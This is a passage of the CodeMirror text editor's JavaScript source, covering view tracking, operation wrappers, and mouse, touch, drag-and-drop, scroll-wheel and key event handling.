if (display.wrapper.offsetHeight)
doc.scrollTop = cm.display.scroller.scrollTop;
// Fire change events, and delayed event handlers
if (op.changeObjs)
signal(cm, "changes", cm, op.changeObjs);
if (op.update)
op.update.finish();
}
// Run the given function in an operation
function runInOp(cm, f) {
if (cm.curOp) return f();
startOperation(cm);
try { return f(); }
finally { endOperation(cm); }
}
// Wraps a function in an operation. Returns the wrapped function.
function operation(cm, f) {
return function() {
if (cm.curOp) return f.apply(cm, arguments);
startOperation(cm);
try { return f.apply(cm, arguments); }
finally { endOperation(cm); }
};
}
// Used to add methods to editor and doc instances, wrapping them in
// operations.
function methodOp(f) {
return function() {
if (this.curOp) return f.apply(this, arguments);
startOperation(this);
try { return f.apply(this, arguments); }
finally { endOperation(this); }
};
}
function docMethodOp(f) {
return function() {
var cm = this.cm;
if (!cm || cm.curOp) return f.apply(this, arguments);
startOperation(cm);
try { return f.apply(this, arguments); }
finally { endOperation(cm); }
};
}
// VIEW TRACKING
// These objects are used to represent the visible (currently drawn)
// part of the document. A LineView may correspond to multiple
// logical lines, if those are connected by collapsed ranges.
function LineView(doc, line, lineN) {
// The starting line
this.line = line;
// Continuing lines, if any
this.rest = visualLineContinued(line);
// Number of logical lines in this visual line
this.size = this.rest ? lineNo(lst(this.rest)) - lineN + 1 : 1;
this.node = this.text = null;
this.hidden = lineIsHidden(doc, line);
}
// Create a range of LineView objects for the given lines.
function buildViewArray(cm, from, to) {
var array = [], nextPos;
for (var pos = from; pos < to; pos = nextPos) {
var view = new LineView(cm.doc, getLine(cm.doc, pos), pos);
nextPos = pos + view.size;
array.push(view);
}
return array;
}
// Updates the display.view data structure for a given change to the
// document. From and to are in pre-change coordinates. Lendiff is
// the amount of lines added or subtracted by the change. This is
// used for changes that span multiple lines, or change the way
// lines are divided into visual lines. regLineChange (below)
// registers single-line changes.
function regChange(cm, from, to, lendiff) {
if (from == null) from = cm.doc.first;
if (to == null) to = cm.doc.first + cm.doc.size;
if (!lendiff) lendiff = 0;
var display = cm.display;
if (lendiff && to < display.viewTo &&
(display.updateLineNumbers == null || display.updateLineNumbers > from))
display.updateLineNumbers = from;
cm.curOp.viewChanged = true;
if (from >= display.viewTo) { // Change after
if (sawCollapsedSpans && visualLineNo(cm.doc, from) < display.viewTo)
resetView(cm);
} else if (to <= display.viewFrom) { // Change before
if (sawCollapsedSpans && visualLineEndNo(cm.doc, to + lendiff) > display.viewFrom) {
resetView(cm);
} else {
display.viewFrom += lendiff;
display.viewTo += lendiff;
}
} else if (from <= display.viewFrom && to >= display.viewTo) { // Full overlap
resetView(cm);
} else if (from <= display.viewFrom) { // Top overlap
var cut = viewCuttingPoint(cm, to, to + lendiff, 1);
if (cut) {
display.view = display.view.slice(cut.index);
display.viewFrom = cut.lineN;
display.viewTo += lendiff;
} else {
resetView(cm);
}
} else if (to >= display.viewTo) { // Bottom overlap
var cut = viewCuttingPoint(cm, from, from, -1);
if (cut) {
display.view = display.view.slice(0, cut.index);
display.viewTo = cut.lineN;
} else {
resetView(cm);
}
} else { // Gap in the middle
var cutTop = viewCuttingPoint(cm, from, from, -1);
var cutBot = viewCuttingPoint(cm, to, to + lendiff, 1);
if (cutTop && cutBot) {
display.view = display.view.slice(0, cutTop.index)
.concat(buildViewArray(cm, cutTop.lineN, cutBot.lineN))
.concat(display.view.slice(cutBot.index));
display.viewTo += lendiff;
} else {
resetView(cm);
}
}
var ext = display.externalMeasured;
if (ext) {
if (to < ext.lineN)
ext.lineN += lendiff;
else if (from < ext.lineN + ext.size)
display.externalMeasured = null;
}
}
// Register a change to a single line. Type must be one of "text",
// "gutter", "class", "widget"
function regLineChange(cm, line, type) {
cm.curOp.viewChanged = true;
var display = cm.display, ext = cm.display.externalMeasured;
if (ext && line >= ext.lineN && line < ext.lineN + ext.size)
display.externalMeasured = null;
if (line < display.viewFrom || line >= display.viewTo) return;
var lineView = display.view[findViewIndex(cm, line)];
if (lineView.node == null) return;
var arr = lineView.changes || (lineView.changes = []);
if (indexOf(arr, type) == -1) arr.push(type);
}
// Clear the view.
function resetView(cm) {
cm.display.viewFrom = cm.display.viewTo = cm.doc.first;
cm.display.view = [];
cm.display.viewOffset = 0;
}
// Find the view element corresponding to a given line. Return null
// when the line isn't visible.
function findViewIndex(cm, n) {
if (n >= cm.display.viewTo) return null;
n -= cm.display.viewFrom;
if (n < 0) return null;
var view = cm.display.view;
for (var i = 0; i < view.length; i++) {
n -= view[i].size;
if (n < 0) return i;
}
}
function viewCuttingPoint(cm, oldN, newN, dir) {
var index = findViewIndex(cm, oldN), diff, view = cm.display.view;
if (!sawCollapsedSpans || newN == cm.doc.first + cm.doc.size)
return {index: index, lineN: newN};
for (var i = 0, n = cm.display.viewFrom; i < index; i++)
n += view[i].size;
if (n != oldN) {
if (dir > 0) {
if (index == view.length - 1) return null;
diff = (n + view[index].size) - oldN;
index++;
} else {
diff = n - oldN;
}
oldN += diff; newN += diff;
}
while (visualLineNo(cm.doc, newN) != newN) {
if (index == (dir < 0 ? 0 : view.length - 1)) return null;
newN += dir * view[index - (dir < 0 ? 1 : 0)].size;
index += dir;
}
return {index: index, lineN: newN};
}
// Force the view to cover a given range, adding empty view element
// or clipping off existing ones as needed.
function adjustView(cm, from, to) {
var display = cm.display, view = display.view;
if (view.length == 0 || from >= display.viewTo || to <= display.viewFrom) {
display.view = buildViewArray(cm, from, to);
display.viewFrom = from;
} else {
if (display.viewFrom > from)
display.view = buildViewArray(cm, from, display.viewFrom).concat(display.view);
else if (display.viewFrom < from)
display.view = display.view.slice(findViewIndex(cm, from));
display.viewFrom = from;
if (display.viewTo < to)
display.view = display.view.concat(buildViewArray(cm, display.viewTo, to));
else if (display.viewTo > to)
display.view = display.view.slice(0, findViewIndex(cm, to));
}
display.viewTo = to;
}
// Count the number of lines in the view whose DOM representation is
// out of date (or nonexistent).
function countDirtyView(cm) {
var view = cm.display.view, dirty = 0;
for (var i = 0; i < view.length; i++) {
var lineView = view[i];
if (!lineView.hidden && (!lineView.node || lineView.changes)) ++dirty;
}
return dirty;
}
// EVENT HANDLERS
// Attach the necessary event handlers when initializing the editor
function registerEventHandlers(cm) {
var d = cm.display;
on(d.scroller, "mousedown", operation(cm, onMouseDown));
// Older IE's will not fire a second mousedown for a double click
if (ie && ie_version < 11)
on(d.scroller, "dblclick", operation(cm, function(e) {
if (signalDOMEvent(cm, e)) return;
var pos = posFromMouse(cm, e);
if (!pos || clickInGutter(cm, e) || eventInWidget(cm.display, e)) return;
e_preventDefault(e);
var word = cm.findWordAt(pos);
extendSelection(cm.doc, word.anchor, word.head);
}));
else
on(d.scroller, "dblclick", function(e) { signalDOMEvent(cm, e) || e_preventDefault(e); });
// Some browsers fire contextmenu *after* opening the menu, at
// which point we can't mess with it anymore. Context menu is
// handled in onMouseDown for these browsers.
if (!captureRightClick) on(d.scroller, "contextmenu", function(e) {onContextMenu(cm, e);});
// Used to suppress mouse event handling when a touch happens
var touchFinished, prevTouch = {end: 0};
function finishTouch() {
if (d.activeTouch) {
touchFinished = setTimeout(function() {d.activeTouch = null;}, 1000);
prevTouch = d.activeTouch;
prevTouch.end = +new Date;
}
};
function isMouseLikeTouchEvent(e) {
if (e.touches.length != 1) return false;
var touch = e.touches[0];
return touch.radiusX <= 1 && touch.radiusY <= 1;
}
function farAway(touch, other) {
if (other.left == null) return true;
var dx = other.left - touch.left, dy = other.top - touch.top;
return dx * dx + dy * dy > 20 * 20;
}
on(d.scroller, "touchstart", function(e) {
if (!signalDOMEvent(cm, e) && !isMouseLikeTouchEvent(e)) {
clearTimeout(touchFinished);
var now = +new Date;
d.activeTouch = {start: now, moved: false,
prev: now - prevTouch.end <= 300 ? prevTouch : null};
if (e.touches.length == 1) {
d.activeTouch.left = e.touches[0].pageX;
d.activeTouch.top = e.touches[0].pageY;
}
}
});
on(d.scroller, "touchmove", function() {
if (d.activeTouch) d.activeTouch.moved = true;
});
on(d.scroller, "touchend", function(e) {
var touch = d.activeTouch;
if (touch && !eventInWidget(d, e) && touch.left != null &&
!touch.moved && new Date - touch.start < 300) {
var pos = cm.coordsChar(d.activeTouch, "page"), range;
if (!touch.prev || farAway(touch, touch.prev)) // Single tap
range = new Range(pos, pos);
else if (!touch.prev.prev || farAway(touch, touch.prev.prev)) // Double tap
range = cm.findWordAt(pos);
else // Triple tap
range = new Range(Pos(pos.line, 0), clipPos(cm.doc, Pos(pos.line + 1, 0)));
cm.setSelection(range.anchor, range.head);
cm.focus();
e_preventDefault(e);
}
finishTouch();
});
on(d.scroller, "touchcancel", finishTouch);
// Sync scrolling between fake scrollbars and real scrollable
// area, ensure viewport is updated when scrolling.
on(d.scroller, "scroll", function() {
if (d.scroller.clientHeight) {
setScrollTop(cm, d.scroller.scrollTop);
setScrollLeft(cm, d.scroller.scrollLeft, true);
signal(cm, "scroll", cm);
}
});
// Listen to wheel events in order to try and update the viewport on time.
on(d.scroller, "mousewheel", function(e){onScrollWheel(cm, e);});
on(d.scroller, "DOMMouseScroll", function(e){onScrollWheel(cm, e);});
// Prevent wrapper from ever scrolling
on(d.wrapper, "scroll", function() { d.wrapper.scrollTop = d.wrapper.scrollLeft = 0; });
d.dragFunctions = {
enter: function(e) {if (!signalDOMEvent(cm, e)) e_stop(e);},
over: function(e) {if (!signalDOMEvent(cm, e)) { onDragOver(cm, e); e_stop(e); }},
start: function(e){onDragStart(cm, e);},
drop: operation(cm, onDrop),
leave: function(e) {if (!signalDOMEvent(cm, e)) { clearDragCursor(cm); }}
};
var inp = d.input.getField();
on(inp, "keyup", function(e) { onKeyUp.call(cm, e); });
on(inp, "keydown", operation(cm, onKeyDown));
on(inp, "keypress", operation(cm, onKeyPress));
on(inp, "focus", bind(onFocus, cm));
on(inp, "blur", bind(onBlur, cm));
}
function dragDropChanged(cm, value, old) {
var wasOn = old && old != CodeMirror.Init;
if (!value != !wasOn) {
var funcs = cm.display.dragFunctions;
var toggle = value ? on : off;
toggle(cm.display.scroller, "dragstart", funcs.start);
toggle(cm.display.scroller, "dragenter", funcs.enter);
toggle(cm.display.scroller, "dragover", funcs.over);
toggle(cm.display.scroller, "dragleave", funcs.leave);
toggle(cm.display.scroller, "drop", funcs.drop);
}
}
// Called when the window resizes
function onResize(cm) {
var d = cm.display;
if (d.lastWrapHeight == d.wrapper.clientHeight && d.lastWrapWidth == d.wrapper.clientWidth)
return;
// Might be a text scaling operation, clear size caches.
d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;
d.scrollbarsClipped = false;
cm.setSize();
}
// MOUSE EVENTS
// Return true when the given mouse event happened in a widget
function eventInWidget(display, e) {
for (var n = e_target(e); n != display.wrapper; n = n.parentNode) {
if (!n || (n.nodeType == 1 && n.getAttribute("cm-ignore-events") == "true") ||
(n.parentNode == display.sizer && n != display.mover))
return true;
}
}
// Given a mouse event, find the corresponding position. If liberal
// is false, it checks whether a gutter or scrollbar was clicked,
// and returns null if it was. forRect is used by rectangular
// selections, and tries to estimate a character position even for
// coordinates beyond the right of the text.
function posFromMouse(cm, e, liberal, forRect) {
var display = cm.display;
if (!liberal && e_target(e).getAttribute("cm-not-content") == "true") return null;
var x, y, space = display.lineSpace.getBoundingClientRect();
// Fails unpredictably on IE[67] when mouse is dragged around quickly.
try { x = e.clientX - space.left; y = e.clientY - space.top; }
catch (e) { return null; }
var coords = coordsChar(cm, x, y), line;
if (forRect && coords.xRel == 1 && (line = getLine(cm.doc, coords.line).text).length == coords.ch) {
var colDiff = countColumn(line, line.length, cm.options.tabSize) - line.length;
coords = Pos(coords.line, Math.max(0, Math.round((x - paddingH(cm.display).left) / charWidth(cm.display)) - colDiff));
}
return coords;
}
// A mouse down can be a single click, double click, triple click,
// start of selection drag, start of text drag, new cursor
// (ctrl-click), rectangle drag (alt-drag), or xwin
// middle-click-paste. Or it might be a click on something we should
// not interfere with, such as a scrollbar or widget.
function onMouseDown(e) {
var cm = this, display = cm.display;
if (signalDOMEvent(cm, e) || display.activeTouch && display.input.supportsTouch()) return;
display.shift = e.shiftKey;
if (eventInWidget(display, e)) {
if (!webkit) {
// Briefly turn off draggability, to allow widgets to do
// normal dragging things.
display.scroller.draggable = false;
setTimeout(function(){display.scroller.draggable = true;}, 100);
}
return;
}
if (clickInGutter(cm, e)) return;
var start = posFromMouse(cm, e);
window.focus();
switch (e_button(e)) {
case 1:
// #3261: make sure, that we're not starting a second selection
if (cm.state.selectingText)
cm.state.selectingText(e);
else if (start)
leftButtonDown(cm, e, start);
else if (e_target(e) == display.scroller)
e_preventDefault(e);
break;
case 2:
if (webkit) cm.state.lastMiddleDown = +new Date;
if (start) extendSelection(cm.doc, start);
setTimeout(function() {display.input.focus();}, 20);
e_preventDefault(e);
break;
case 3:
if (captureRightClick) onContextMenu(cm, e);
else delayBlurEvent(cm);
break;
}
}
var lastClick, lastDoubleClick;
function leftButtonDown(cm, e, start) {
if (ie) setTimeout(bind(ensureFocus, cm), 0);
else cm.curOp.focus = activeElt();
var now = +new Date, type;
if (lastDoubleClick && lastDoubleClick.time > now - 400 && cmp(lastDoubleClick.pos, start) == 0) {
type = "triple";
} else if (lastClick && lastClick.time > now - 400 && cmp(lastClick.pos, start) == 0) {
type = "double";
lastDoubleClick = {time: now, pos: start};
} else {
type = "single";
lastClick = {time: now, pos: start};
}
var sel = cm.doc.sel, modifier = mac ? e.metaKey : e.ctrlKey, contained;
if (cm.options.dragDrop && dragAndDrop && !cm.isReadOnly() &&
type == "single" && (contained = sel.contains(start)) > -1 &&
(cmp((contained = sel.ranges[contained]).from(), start) < 0 || start.xRel > 0) &&
(cmp(contained.to(), start) > 0 || start.xRel < 0))
leftButtonStartDrag(cm, e, start, modifier);
else
leftButtonSelect(cm, e, start, type, modifier);
}
// Start a text drag. When it ends, see if any dragging actually
// happen, and treat as a click if it didn't.
function leftButtonStartDrag(cm, e, start, modifier) {
var display = cm.display, startTime = +new Date;
var dragEnd = operation(cm, function(e2) {
if (webkit) display.scroller.draggable = false;
cm.state.draggingText = false;
off(document, "mouseup", dragEnd);
off(display.scroller, "drop", dragEnd);
if (Math.abs(e.clientX - e2.clientX) + Math.abs(e.clientY - e2.clientY) < 10) {
e_preventDefault(e2);
if (!modifier && +new Date - 200 < startTime)
extendSelection(cm.doc, start);
// Work around unexplainable focus problem in IE9 (#2127) and Chrome (#3081)
if (webkit || ie && ie_version == 9)
setTimeout(function() {document.body.focus(); display.input.focus();}, 20);
else
display.input.focus();
}
});
// Let the drag handler handle this.
if (webkit) display.scroller.draggable = true;
cm.state.draggingText = dragEnd;
dragEnd.copy = mac ? e.altKey : e.ctrlKey
// IE's approach to draggable
if (display.scroller.dragDrop) display.scroller.dragDrop();
on(document, "mouseup", dragEnd);
on(display.scroller, "drop", dragEnd);
}
// Normal selection, as opposed to text dragging.
function leftButtonSelect(cm, e, start, type, addNew) {
var display = cm.display, doc = cm.doc;
e_preventDefault(e);
var ourRange, ourIndex, startSel = doc.sel, ranges = startSel.ranges;
if (addNew && !e.shiftKey) {
ourIndex = doc.sel.contains(start);
if (ourIndex > -1)
ourRange = ranges[ourIndex];
else
ourRange = new Range(start, start);
} else {
ourRange = doc.sel.primary();
ourIndex = doc.sel.primIndex;
}
if (chromeOS ? e.shiftKey && e.metaKey : e.altKey) {
type = "rect";
if (!addNew) ourRange = new Range(start, start);
start = posFromMouse(cm, e, true, true);
ourIndex = -1;
} else if (type == "double") {
var word = cm.findWordAt(start);
if (cm.display.shift || doc.extend)
ourRange = extendRange(doc, ourRange, word.anchor, word.head);
else
ourRange = word;
} else if (type == "triple") {
var line = new Range(Pos(start.line, 0), clipPos(doc, Pos(start.line + 1, 0)));
if (cm.display.shift || doc.extend)
ourRange = extendRange(doc, ourRange, line.anchor, line.head);
else
ourRange = line;
} else {
ourRange = extendRange(doc, ourRange, start);
}
if (!addNew) {
ourIndex = 0;
setSelection(doc, new Selection([ourRange], 0), sel_mouse);
startSel = doc.sel;
} else if (ourIndex == -1) {
ourIndex = ranges.length;
setSelection(doc, normalizeSelection(ranges.concat([ourRange]), ourIndex),
{scroll: false, origin: "*mouse"});
} else if (ranges.length > 1 && ranges[ourIndex].empty() && type == "single" && !e.shiftKey) {
setSelection(doc, normalizeSelection(ranges.slice(0, ourIndex).concat(ranges.slice(ourIndex + 1)), 0),
{scroll: false, origin: "*mouse"});
startSel = doc.sel;
} else {
replaceOneSelection(doc, ourIndex, ourRange, sel_mouse);
}
var lastPos = start;
function extendTo(pos) {
if (cmp(lastPos, pos) == 0) return;
lastPos = pos;
if (type == "rect") {
var ranges = [], tabSize = cm.options.tabSize;
var startCol = countColumn(getLine(doc, start.line).text, start.ch, tabSize);
var posCol = countColumn(getLine(doc, pos.line).text, pos.ch, tabSize);
var left = Math.min(startCol, posCol), right = Math.max(startCol, posCol);
for (var line = Math.min(start.line, pos.line), end = Math.min(cm.lastLine(), Math.max(start.line, pos.line));
line <= end; line++) {
var text = getLine(doc, line).text, leftPos = findColumn(text, left, tabSize);
if (left == right)
ranges.push(new Range(Pos(line, leftPos), Pos(line, leftPos)));
else if (text.length > leftPos)
ranges.push(new Range(Pos(line, leftPos), Pos(line, findColumn(text, right, tabSize))));
}
if (!ranges.length) ranges.push(new Range(start, start));
setSelection(doc, normalizeSelection(startSel.ranges.slice(0, ourIndex).concat(ranges), ourIndex),
{origin: "*mouse", scroll: false});
cm.scrollIntoView(pos);
} else {
var oldRange = ourRange;
var anchor = oldRange.anchor, head = pos;
if (type != "single") {
if (type == "double")
var range = cm.findWordAt(pos);
else
var range = new Range(Pos(pos.line, 0), clipPos(doc, Pos(pos.line + 1, 0)));
if (cmp(range.anchor, anchor) > 0) {
head = range.head;
anchor = minPos(oldRange.from(), range.anchor);
} else {
head = range.anchor;
anchor = maxPos(oldRange.to(), range.head);
}
}
var ranges = startSel.ranges.slice(0);
ranges[ourIndex] = new Range(clipPos(doc, anchor), head);
setSelection(doc, normalizeSelection(ranges, ourIndex), sel_mouse);
}
}
var editorSize = display.wrapper.getBoundingClientRect();
// Used to ensure timeout re-tries don't fire when another extend
// happened in the meantime (clearTimeout isn't reliable -- at
// least on Chrome, the timeouts still happen even when cleared,
// if the clear happens after their scheduled firing time).
var counter = 0;
function extend(e) {
var curCount = ++counter;
var cur = posFromMouse(cm, e, true, type == "rect");
if (!cur) return;
if (cmp(cur, lastPos) != 0) {
cm.curOp.focus = activeElt();
extendTo(cur);
var visible = visibleLines(display, doc);
if (cur.line >= visible.to || cur.line < visible.from)
setTimeout(operation(cm, function(){if (counter == curCount) extend(e);}), 150);
} else {
var outside = e.clientY < editorSize.top ? -20 : e.clientY > editorSize.bottom ? 20 : 0;
if (outside) setTimeout(operation(cm, function() {
if (counter != curCount) return;
display.scroller.scrollTop += outside;
extend(e);
}), 50);
}
}
function done(e) {
cm.state.selectingText = false;
counter = Infinity;
e_preventDefault(e);
display.input.focus();
off(document, "mousemove", move);
off(document, "mouseup", up);
doc.history.lastSelOrigin = null;
}
var move = operation(cm, function(e) {
if (!e_button(e)) done(e);
else extend(e);
});
var up = operation(cm, done);
cm.state.selectingText = up;
on(document, "mousemove", move);
on(document, "mouseup", up);
}
// Determines whether an event happened in the gutter, and fires the
// handlers for the corresponding event.
function gutterEvent(cm, e, type, prevent) {
try { var mX = e.clientX, mY = e.clientY; }
catch(e) { return false; }
if (mX >= Math.floor(cm.display.gutters.getBoundingClientRect().right)) return false;
if (prevent) e_preventDefault(e);
var display = cm.display;
var lineBox = display.lineDiv.getBoundingClientRect();
if (mY > lineBox.bottom || !hasHandler(cm, type)) return e_defaultPrevented(e);
mY -= lineBox.top - display.viewOffset;
for (var i = 0; i < cm.options.gutters.length; ++i) {
var g = display.gutters.childNodes[i];
if (g && g.getBoundingClientRect().right >= mX) {
var line = lineAtHeight(cm.doc, mY);
var gutter = cm.options.gutters[i];
signal(cm, type, cm, line, gutter, e);
return e_defaultPrevented(e);
}
}
}
function clickInGutter(cm, e) {
return gutterEvent(cm, e, "gutterClick", true);
}
// Kludge to work around strange IE behavior where it'll sometimes
// re-fire a series of drag-related events right after the drop (#1551)
var lastDrop = 0;
function onDrop(e) {
var cm = this;
clearDragCursor(cm);
if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e))
return;
e_preventDefault(e);
if (ie) lastDrop = +new Date;
var pos = posFromMouse(cm, e, true), files = e.dataTransfer.files;
if (!pos || cm.isReadOnly()) return;
// Might be a file drop, in which case we simply extract the text
// and insert it.
if (files && files.length && window.FileReader && window.File) {
var n = files.length, text = Array(n), read = 0;
var loadFile = function(file, i) {
if (cm.options.allowDropFileTypes &&
indexOf(cm.options.allowDropFileTypes, file.type) == -1)
return;
var reader = new FileReader;
reader.onload = operation(cm, function() {
var content = reader.result;
if (/[\x00-\x08\x0e-\x1f]{2}/.test(content)) content = "";
text[i] = content;
if (++read == n) {
pos = clipPos(cm.doc, pos);
var change = {from: pos, to: pos,
text: cm.doc.splitLines(text.join(cm.doc.lineSeparator())),
origin: "paste"};
makeChange(cm.doc, change);
setSelectionReplaceHistory(cm.doc, simpleSelection(pos, changeEnd(change)));
}
});
reader.readAsText(file);
};
for (var i = 0; i < n; ++i) loadFile(files[i], i);
} else { // Normal drop
// Don't do a replace if the drop happened inside of the selected text.
if (cm.state.draggingText && cm.doc.sel.contains(pos) > -1) {
cm.state.draggingText(e);
// Ensure the editor is re-focused
setTimeout(function() {cm.display.input.focus();}, 20);
return;
}
try {
var text = e.dataTransfer.getData("Text");
if (text) {
if (cm.state.draggingText && !cm.state.draggingText.copy)
var selected = cm.listSelections();
setSelectionNoUndo(cm.doc, simpleSelection(pos, pos));
if (selected) for (var i = 0; i < selected.length; ++i)
replaceRange(cm.doc, "", selected[i].anchor, selected[i].head, "drag");
cm.replaceSelection(text, "around", "paste");
cm.display.input.focus();
}
}
catch(e){}
}
}
function onDragStart(cm, e) {
if (ie && (!cm.state.draggingText || +new Date - lastDrop < 100)) { e_stop(e); return; }
if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e)) return;
e.dataTransfer.setData("Text", cm.getSelection());
e.dataTransfer.effectAllowed = "copyMove"
// Use dummy image instead of default browsers image.
// Recent Safari (~6.0.2) have a tendency to segfault when this happens, so we don't do it there.
if (e.dataTransfer.setDragImage && !safari) {
var img = elt("img", null, null, "position: fixed; left: 0; top: 0;");
img.src = "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";
if (presto) {
img.width = img.height = 1;
cm.display.wrapper.appendChild(img);
// Force a relayout, or Opera won't use our image for some obscure reason
img._top = img.offsetTop;
}
e.dataTransfer.setDragImage(img, 0, 0);
if (presto) img.parentNode.removeChild(img);
}
}
function onDragOver(cm, e) {
var pos = posFromMouse(cm, e);
if (!pos) return;
var frag = document.createDocumentFragment();
drawSelectionCursor(cm, pos, frag);
if (!cm.display.dragCursor) {
cm.display.dragCursor = elt("div", null, "CodeMirror-cursors CodeMirror-dragcursors");
cm.display.lineSpace.insertBefore(cm.display.dragCursor, cm.display.cursorDiv);
}
removeChildrenAndAdd(cm.display.dragCursor, frag);
}
function clearDragCursor(cm) {
if (cm.display.dragCursor) {
cm.display.lineSpace.removeChild(cm.display.dragCursor);
cm.display.dragCursor = null;
}
}
// SCROLL EVENTS
// Sync the scrollable area and scrollbars, ensure the viewport
// covers the visible area.
function setScrollTop(cm, val) {
if (Math.abs(cm.doc.scrollTop - val) < 2) return;
cm.doc.scrollTop = val;
if (!gecko) updateDisplaySimple(cm, {top: val});
if (cm.display.scroller.scrollTop != val) cm.display.scroller.scrollTop = val;
cm.display.scrollbars.setScrollTop(val);
if (gecko) updateDisplaySimple(cm);
startWorker(cm, 100);
}
// Sync scroller and scrollbar, ensure the gutter elements are
// aligned.
function setScrollLeft(cm, val, isScroller) {
if (isScroller ? val == cm.doc.scrollLeft : Math.abs(cm.doc.scrollLeft - val) < 2) return;
val = Math.min(val, cm.display.scroller.scrollWidth - cm.display.scroller.clientWidth);
cm.doc.scrollLeft = val;
alignHorizontally(cm);
if (cm.display.scroller.scrollLeft != val) cm.display.scroller.scrollLeft = val;
cm.display.scrollbars.setScrollLeft(val);
}
// Since the delta values reported on mouse wheel events are
// unstandardized between browsers and even browser versions, and
// generally horribly unpredictable, this code starts by measuring
// the scroll effect that the first few mouse wheel events have,
// and, from that, detects the way it can convert deltas to pixel
// offsets afterwards.
//
// The reason we want to know the amount a wheel event will scroll
// is that it gives us a chance to update the display before the
// actual scrolling happens, reducing flickering.
var wheelSamples = 0, wheelPixelsPerUnit = null;
// Fill in a browser-detected starting value on browsers where we
// know one. These don't have to be accurate -- the result of them
// being wrong would just be a slight flicker on the first wheel
// scroll (if it is large enough).
if (ie) wheelPixelsPerUnit = -.53;
else if (gecko) wheelPixelsPerUnit = 15;
else if (chrome) wheelPixelsPerUnit = -.7;
else if (safari) wheelPixelsPerUnit = -1/3;
var wheelEventDelta = function(e) {
var dx = e.wheelDeltaX, dy = e.wheelDeltaY;
if (dx == null && e.detail && e.axis == e.HORIZONTAL_AXIS) dx = e.detail;
if (dy == null && e.detail && e.axis == e.VERTICAL_AXIS) dy = e.detail;
else if (dy == null) dy = e.wheelDelta;
return {x: dx, y: dy};
};
CodeMirror.wheelEventPixels = function(e) {
var delta = wheelEventDelta(e);
delta.x *= wheelPixelsPerUnit;
delta.y *= wheelPixelsPerUnit;
return delta;
};
function onScrollWheel(cm, e) {
var delta = wheelEventDelta(e), dx = delta.x, dy = delta.y;
var display = cm.display, scroll = display.scroller;
// Quit if there's nothing to scroll here
var canScrollX = scroll.scrollWidth > scroll.clientWidth;
var canScrollY = scroll.scrollHeight > scroll.clientHeight;
if (!(dx && canScrollX || dy && canScrollY)) return;
// Webkit browsers on OS X abort momentum scrolls when the target
// of the scroll event is removed from the scrollable element.
// This hack (see related code in patchDisplay) makes sure the
// element is kept around.
if (dy && mac && webkit) {
outer: for (var cur = e.target, view = display.view; cur != scroll; cur = cur.parentNode) {
for (var i = 0; i < view.length; i++) {
if (view[i].node == cur) {
cm.display.currentWheelTarget = cur;
break outer;
}
}
}
}
// On some browsers, horizontal scrolling will cause redraws to
// happen before the gutter has been realigned, causing it to
// wriggle around in a most unseemly way. When we have an
// estimated pixels/delta value, we just handle horizontal
// scrolling entirely here. It'll be slightly off from native, but
// better than glitching out.
if (dx && !gecko && !presto && wheelPixelsPerUnit != null) {
if (dy && canScrollY)
setScrollTop(cm, Math.max(0, Math.min(scroll.scrollTop + dy * wheelPixelsPerUnit, scroll.scrollHeight - scroll.clientHeight)));
setScrollLeft(cm, Math.max(0, Math.min(scroll.scrollLeft + dx * wheelPixelsPerUnit, scroll.scrollWidth - scroll.clientWidth)));
// Only prevent default scrolling if vertical scrolling is
// actually possible. Otherwise, it causes vertical scroll
// jitter on OSX trackpads when deltaX is small and deltaY
// is large (issue #3579)
if (!dy || (dy && canScrollY))
e_preventDefault(e);
display.wheelStartX = null; // Abort measurement, if in progress
return;
}
// 'Project' the visible viewport to cover the area that is being
// scrolled into view (if we know enough to estimate it).
if (dy && wheelPixelsPerUnit != null) {
var pixels = dy * wheelPixelsPerUnit;
var top = cm.doc.scrollTop, bot = top + display.wrapper.clientHeight;
if (pixels < 0) top = Math.max(0, top + pixels - 50);
else bot = Math.min(cm.doc.height, bot + pixels + 50);
updateDisplaySimple(cm, {top: top, bottom: bot});
}
if (wheelSamples < 20) {
if (display.wheelStartX == null) {
display.wheelStartX = scroll.scrollLeft; display.wheelStartY = scroll.scrollTop;
display.wheelDX = dx; display.wheelDY = dy;
setTimeout(function() {
if (display.wheelStartX == null) return;
var movedX = scroll.scrollLeft - display.wheelStartX;
var movedY = scroll.scrollTop - display.wheelStartY;
var sample = (movedY && display.wheelDY && movedY / display.wheelDY) ||
(movedX && display.wheelDX && movedX / display.wheelDX);
display.wheelStartX = display.wheelStartY = null;
if (!sample) return;
wheelPixelsPerUnit = (wheelPixelsPerUnit * wheelSamples + sample) / (wheelSamples + 1);
++wheelSamples;
}, 200);
} else {
display.wheelDX += dx; display.wheelDY += dy;
}
}
}
// KEY EVENTS
// Run a handler that was bound to a key.
function doHandleBinding(cm, bound, dropShift) {
if (typeof bound == "string") {
bound = commands[bound];
if (!bound) return false;
}
// Ensure previous input has been read, so that the handler sees a
// consistent view of the document
cm.display.input.ensurePolled();
var prevShift = cm.display.shift, done = false;
try {
if (cm.isReadOnly()) cm.state.suppressEdits = true;
if (dropShift) cm.display.shift = false;
done = bound(cm) != Pass;
} finally {
cm.display.shift = prevShift;
cm.state.suppressEdits = false;
}
return done;
}
function lookupKeyForEditor(cm, name, handle) {
for (var i = 0; i < cm.state.keyMaps.length; i++) {
var result = lookupKey(name, cm.state.keyMaps[i], handle, cm);
if (result) return result;
}
return (cm.options.extraKeys && lookupKey(name, cm.options.extraKeys, handle, cm))
|| lookupKey(name, cm.options.keyMap, handle, cm);
}
var stopSeq = new Delayed;
function dispatchKey(cm, name, e, handle) {
var seq = cm.state.keySeq;
if (seq) {
if (isModifierKey(name)) return "handled";
stopSeq.set(50, function() {
if (cm.state.keySeq == seq) {
cm.state.keySeq = null;
cm.display.input.reset();
}
});
name = seq + " " + name;
}
var result = lookupKeyForEditor(cm, name, handle);
if (result == "multi")
cm.state.keySeq = name;
if (result == "handled")
signalLater(cm, "keyHandled", cm, name, e);
if (result == "handled" || result == "multi") {
e_preventDefault(e);
restartBlink(cm);
}
if (seq && !result && /\'$/.test(name)) {
e_preventDefault(e);
return true;
}
return !!result;
}
// Handle a key from the keydown event.
function handleKeyBinding(cm, e) {
var name = keyName(e, true);
if (!name) return false;
if (e.shiftKey && !cm.state.keySeq) {
// First try to resolve full name (including 'Shift-'). Failing
// that, see if there is a cursor-motion command (starting with
